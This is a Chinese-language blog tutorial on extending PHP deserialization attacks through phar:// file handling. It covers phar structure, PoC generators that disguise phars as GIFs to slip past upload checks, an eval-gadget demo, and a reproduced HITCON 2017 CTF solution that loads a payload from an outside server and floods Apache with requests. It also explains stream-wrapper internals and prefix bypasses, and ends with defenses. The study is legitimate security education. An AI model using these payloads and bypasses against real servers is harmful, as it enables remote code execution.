V0W's Blog

phar扩展php反序列化的攻击面

字数统计: 4,538阅读时长: 20 min
2020/03/12 Share

phar扩展php反序列化的攻击面

0x00 前言

之前学校的seaii表哥在404发了一篇paper——利用 phar 拓展 php 反序列化漏洞攻击面

分析了php反序列与phar的结合,大大拓展了反序列化的攻击面,我也重新审视这个漏洞,发现真的很有意思,并且有较大的杀伤力。之前分析过了php反序列化与POP链,本文就主要分析一下如何利用phar来扩展php反序列化的攻击面,并从源码角度来看一下为什么很多文件操作函数可以触发phar的反序列化。(另外膜拜一下seaii哥,啥时候能像seaii哥这么优秀啊。。。)

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

0x01 phar文件结构

详细的文件结构这一查看php文档——What makes a phar a phar and not a tar or a zip?

1.1 a stub

可以理解为一个标志,phar前面内容不限,但必须以__HALT_COMPILER();来结尾(?>可以省略也可以包含),否则phar扩展将无法识别这个文件为phar文件。

1.2 a manifest describing the contents(一个描述内容的清单)

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

Size in bytes Description
4 bytes phar清单的长度(以字节为单位)(1 MB limit)
4 bytes Phar中的文件数
2 bytes Phar清单的API版本 (currently 1.0.0)
4 bytes 全局的phar位示图标志
4 bytes phar的别名长度
?? phar的位示图长度
4 bytes phar元数据长度(0表示无)
?? 序列化的phar元数据,以serialize()格式存储
只要24*条目字节数 每个文件的条目

1.3 the file contents

被压缩文件的内容

1.4 [可选] 验证phar完整性的签名

签名,放在文件末尾,格式如下:

Length in bytes Description
16 or 20 bytes 实际签名,SHA1签名为20字节,MD5签名为16字节,SHA256签名为32字节,SHA512签名为64字节。
4 bytes 签名标志. 0x0001 用于表示是 MD5 签名, 0x0002 用来表示是 SHA1 签名, 0x0004 用来表示是SHA256签名, 0x0008用来表示是SHA512签名。 API版本1.1.0引入了SHA256和SHA512签名支持。
4 bytes Magic GBMB 用于定义签名的存在

0x02 构造一个phar文件

2.1 phar文件

根据文件结构,自己来构造一个phar文件,php内置了一个phar类处理的相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
//__HALT_COMPILER(); 也是可以的
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

meta-data是用反序列化形式存储的。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

受影响的函数列表
filename filectime
(获取文件的inode更改时间)
file_exists file_get_contents
file_put_contents file filegroup
(获取文件的组名)
fopen
fileinode
(获取文件inode)
filemtime
(获取文件的修改时间)
fileowner fileperms
(获取文件权限)
is_dir is_executable is_file is_link
(判断文件名是否为符号链接)
is_readable is_writable is_writeable parse_ini_file
(解析配置文件)
copy unlink stat
(获取文件相关信息)
readfile
(输入文件内容)

试一下,文件操作函数,能否自动对其进行反序列化:

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class TestObject {
public function __destruct() {
echo "Destruct called\n";
}

public function __wakeup(){
echo "wakeup called\n";
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
//file_exists($filename);
//file($filename);
?>

于是当文件系统函数的参数可控时,我们可以在不调用unserize()的情况下,进行反序列化操作,许多的文件函数都可以触发,极大地拓展了攻击面。

注意:

对于一个前后调用多个file函数的phar文件,只会反序列化一次。

比如,将上述代码注释去掉,也是只有file_get_contents会反序列一次phar,后续的文件处理函数,都会基于之前反序列化完成的文件进行操作。(调用堆栈也可以说明这一点。)

2.2 将phar在伪造成其他文件

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

phar2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

并且,即使将文件名修改掉,用test.php测试发现仍然可以识别为phar,执行wakeup和destrcut。

这样可以绕过大部分的上传waf。

0x03 实际利用

3.1 利用条件

结合之前所说的,利用条件有三:

  1. phar文件可以上传到服务器
  2. 要有魔术方法作为“跳板”
  3. 文件操作函数的参数可控,且:/phar等字符没有过滤。

3.2 先从一个简单的例子开始

这里用Smi1e师傅写的一个简单的例子:

upload_file.php后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

upload_file.html

1
2
3
4
5
6
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

file_un.php存在file_exists(),并且存在__destruct()

1
2
3
4
5
6
7
8
9
10
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

根据file_un.php写一个生成phar的php文件,在文件头加上GIF89a绕过gif,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class AnyClass{
var $output = '';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('upload/poc.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

3.3 当年0解的HITCON2017 Baby^H MasterPHP

用一个HITCON2017的一道题,当时php+phar第一次结合出现,而且结合匿名函数的生成机制(这一点也很难)。参赛者多数搞错了方向,所以当时是0解,原题链接

题解转载自mochazz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php 
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}

function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");

$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}

function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);

题目的意思很明确,要我们利用 Admin 类的 __destruct 方法来获得 flag 。但是 第23行$random 变量我们无法获得,这样也就无法获得 flag ,所以我们要通过匿名类的名字来调用 flag 生成函数。

我们可以看看 create_function 函数对应的内核源码。( php-src/Zend/zend_builtin_functions.c:1901

可以看到匿名函数的名字类似于 \0lambda_%d ,其中 %d 为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。

这里,我们便要引入 apache-prefork 模型(默认模型)介绍(关于该模型的介绍,可以参考: Apache的三种MPM模式比较:prefork,worker,event )。当用户请求过大时,超过 apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。

接下来我们就来找反序列化的利用点,我们很快看到 第40行 反序列化了一个可控的 $data 变量,但是上一行有一个 hash_equals 函数进行了数据校验,而 $SECRET 的值不可知,这就没法利用这一反序列化点。

接着我们会看到 第46行 有一个上传 gif 文件功能,且 $data 变量可控。那么攻击思路就是,我们先通过将构造好的 phar 文件传到服务器上,再利用可控的 $_GET[“url”] 结合 phar 协议,进行反序列化。用于生成 phar 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class User {
public $avatar;
function __construct($path) {
$this->avatar = 'avatar.gif';
}
}
class Admin extends User { }

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

将生成的 avatar.phar 放在自己的 VPS 上并重命名成 avatar.gif ,然后将文件上传到题目服务器上:

1
http://题目IP/index.php?m=upload&url=http://VPS_IP/

接着,我们需要通过大量请求,使 apache 重新开启一个新的线程,然后访问如下 url 即可完成反序列化并获得 flag

1
http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

这里我们使用orange的fork.py生成大量请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# coding: UTF-8
# Author: orange@chroot.org
#

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = '127.0.0.1'
PORT = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

下面给出 Orange 的解题过程

1
2
3
4
5
6
7
8
9
10
11
# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

0x04 从源码角度来看phar反序列化的问题

4.1 思考

其实,在看到前文那么多文件操作函数都受到phar反序列化的影响,我们会自然的思考:为什么?

  1. 很多的函数都受影响
  2. 还有部分文件操作函数未受影响(如basename,fputs等)

zsx大佬在文章——Phar与Stream Wrapper造成PHP RCE的深入挖掘 回答了我们的疑问:因为受影响的函数都使用了同样的一个接口,而未受影响的函数是因为未使用该接口。这个接口就是——wrapper

4.2 流封装协议(wrapper)

wrapper就是指封装的php协议。因为流式数据的种类各异,而每种类型需要独特的协议,以便读写数据,我们称这些协议为流封装协议。例如,我们可以读写文件系统,可以通过 HTTP、HTTPS 或 SSH 与远程 Web 服务器通信,还可以打开并读写 ZIP、RAR 或 PHAR 压缩文件

虽然过程是一样的,但是读写文件系统中文件的方式与收发 HTTP 消息的方式有所不同,流封装协议的作用是使用通用的接口封装这种差异。

每个流都有一个协议和一个目标。指定协议和目标的方法是使用流标识符:://,其中 是流的封装协议, 是流的数据源。

使用 stream_get_wrappers() 获取当前系统注册的全部 wrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
C:\Users\DELL>php -r "var_dump(stream_get_wrappers());"
Command line code:1:
array(10) {
[0] =>
string(3) "php"
[1] =>
string(4) "file"
[2] =>
string(4) "glob"
[3] =>
string(4) "data"
[4] =>
string(4) "http"
[5] =>
string(3) "ftp"
[6] =>
string(3) "zip"
[7] =>
string(13) "compress.zlib"
[8] =>
string(14) "compress.bzip2"
[9] =>
string(4) "phar"
}

4.3 试着找问题的源头

我们需要先找到其原理,然后往下深入挖掘。
先看file_get_contents的代码。其调用了

1
stream = php_stream_open_wrapper_ex(filename, "rb" ....);

这么个函数。

再看unlink的代码,其调用了

1
wrapper = php_stream_locate_url_wrapper(filename, NULL, 0);

这么个函数。

php_stream_open_wrapper_ex实现,可以看到,其也调用了php_stream_locate_url_wrapper 。这个函数的作用是通过url来找到对应的wrapper。我们可以看到,phar组件注册了phar://这个wrapper, https://github.com/php/php-src/blob/67b4c3379a1c7f8a34522972c9cb3adf3776bc4a/ext/phar/stream.c
其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
const php_stream_wrapper_ops phar_stream_wops = {
phar_wrapper_open_url,
NULL, /* phar_wrapper_close */
NULL, /* phar_wrapper_stat, */
phar_wrapper_stat, /* stat_url */
phar_wrapper_open_dir, /* opendir */
"phar",
phar_wrapper_unlink, /* unlink */
phar_wrapper_rename, /* rename */
phar_wrapper_mkdir, /* create directory */
phar_wrapper_rmdir, /* remove directory */
NULL
};

接着,让我们翻这几个函数的实现,会发现它们都调用了phar_parse_url,这个函数再调用phar_open_or_create_filename -> phar_create_or_parse_filename -> phar_open_from_fp -> phar_parse_pharfile -> phar_parse_metadata -> phar_var_unserialize。因此,明面上来看,所有文件函数,均可以触发此phar漏洞,因为它们都直接或间接地调用了这个wrapper。

4.4 受影响的函数

这是一个所有的和IO有关的函数,都可能触发的问题。操作文件的touch,也是能触发它的。而且我们会发现除了之前所说的文件操作函数,还有很多调用wrapper都可以触发:

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom***

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers
  • touch

standard

  • getimagesize
  • getimagesizefromstring

zip

1
2
3
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

如果题目限制了,phar://不能出现在头几个字符怎么办?

1
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
class AnyClass{
public function __wakeup(){
echo "__wakeup called";
}
}
$filename = 'compress.zlib://phar://phar.phar/test.txt';
file_get_contents($filename);

?>

这意味着我们能在 compress.zlib:// 后面添加我们的 phar 语句,也就是说如果禁止了开头使用 phar:// 我们就能用这种方法绕过。

PDO::postgresql

1
2
3
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFilepg_trace同样也是能使用的,只是它们需要开启phar的写功能。

libxml

MySQL

我们注意到,LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper. 让我们测试一下。

1
2
3
4
5
6
7
8
9
10
11
<?php
class AnyClass {
public $output = 'okok';
public function __wakeup () {
system($this->$output);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'meimima123', 'dvwa', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

再配置一下mysql.inimysqld

1
2
3
[mysqld]
local-infile=1
secure_file_priv=""

这个例子在TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain中也提到了,更加详细。

以上基本上就是phar的影响范围了,大家可以看到,印象非常的广,几乎所有用到wrapper封装的函数都可能存在这个问题。那么如何防御呢?

0x05 防御方法

  1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
  2. 严格检查上传文件的内容,而不是只检查文件头。
  3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

0x06 总结与反思

本文是在学习各位大佬对phar与反序列化的分析后,进行的总结,这里感谢@ZSX, K0rz3n, Smi1e, Mochazz, seaii等等大佬的文章,读完都感觉获益良多。这篇总结基本上也就是把各位大佬的话总结复述了一遍,很多地方甚至是直接引用的,如有侵权,烦请联系。

考完研后,感觉一年和各位大佬的差距进一步拉大了,但是花了好几天复现和学习phar与php反序列化问题,随着一步一步的深入(由浅入深,由自己会的到自己不会的内容),真的很有获得感和满足感。希望以后我也能自己写出这样一篇篇出色的文章,做一个个这样深入的分析。

0xff 参考链接

  1. 利用 phar 拓展 php 反序列化漏洞攻击面 2018/8, seaii

  2. What makes a phar a phar and not a tar or a zip?

  3. PHP反序列化入门之phar 2019/02, Mochazz(七月火)

  4. 一篇文章带你深入理解PHP反序列化漏洞 2018/11 K0rz3n

  5. Phar与Stream Wrapper造成PHP RCE的深入挖掘 2018/10 zsx

  6. php反序列化攻击拓展 , Smi1e

  7. TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain

CATALOG
  1. 1. phar扩展php反序列化的攻击面
    1. 1.1. 0x00 前言
    2. 1.2. 0x01 phar文件结构
      1. 1.2.1. 1.1 a stub
      2. 1.2.2. 1.2 a manifest describing the contents(一个描述内容的清单)
      3. 1.2.3. 1.3 the file contents
      4. 1.2.4. 1.4 [可选] 验证phar完整性的签名
    3. 1.3. 0x02 构造一个phar文件
      1. 1.3.1. 2.1 phar文件
      2. 1.3.2. 2.2 将phar在伪造成其他文件
    4. 1.4. 0x03 实际利用
      1. 1.4.1. 3.1 利用条件
      2. 1.4.2. 3.2 先从一个简单的例子开始
      3. 1.4.3. 3.3 当年0解的HITCON2017 Baby^H MasterPHP
    5. 1.5. 0x04 从源码角度来看phar反序列化的问题
      1. 1.5.1. 4.1 思考
      2. 1.5.2. 4.2 流封装协议(wrapper)
      3. 1.5.3. 4.3 试着找问题的源头
      4. 1.5.4. 4.4 受影响的函数
        1. 1.5.4.1. exif
        2. 1.5.4.2. gd
        3. 1.5.4.3. hash
        4. 1.5.4.4. file / url
        5. 1.5.4.5. standard
        6. 1.5.4.6. zip
        7. 1.5.4.7. Bzip / Gzip
        8. 1.5.4.8. PDO::postgresql
        9. 1.5.4.9. libxml
        10. 1.5.4.10. MySQL
    6. 1.6. 0x05 防御方法
    7. 1.7. 0x06 总结与反思
    8. 1.8. 0xff 参考链接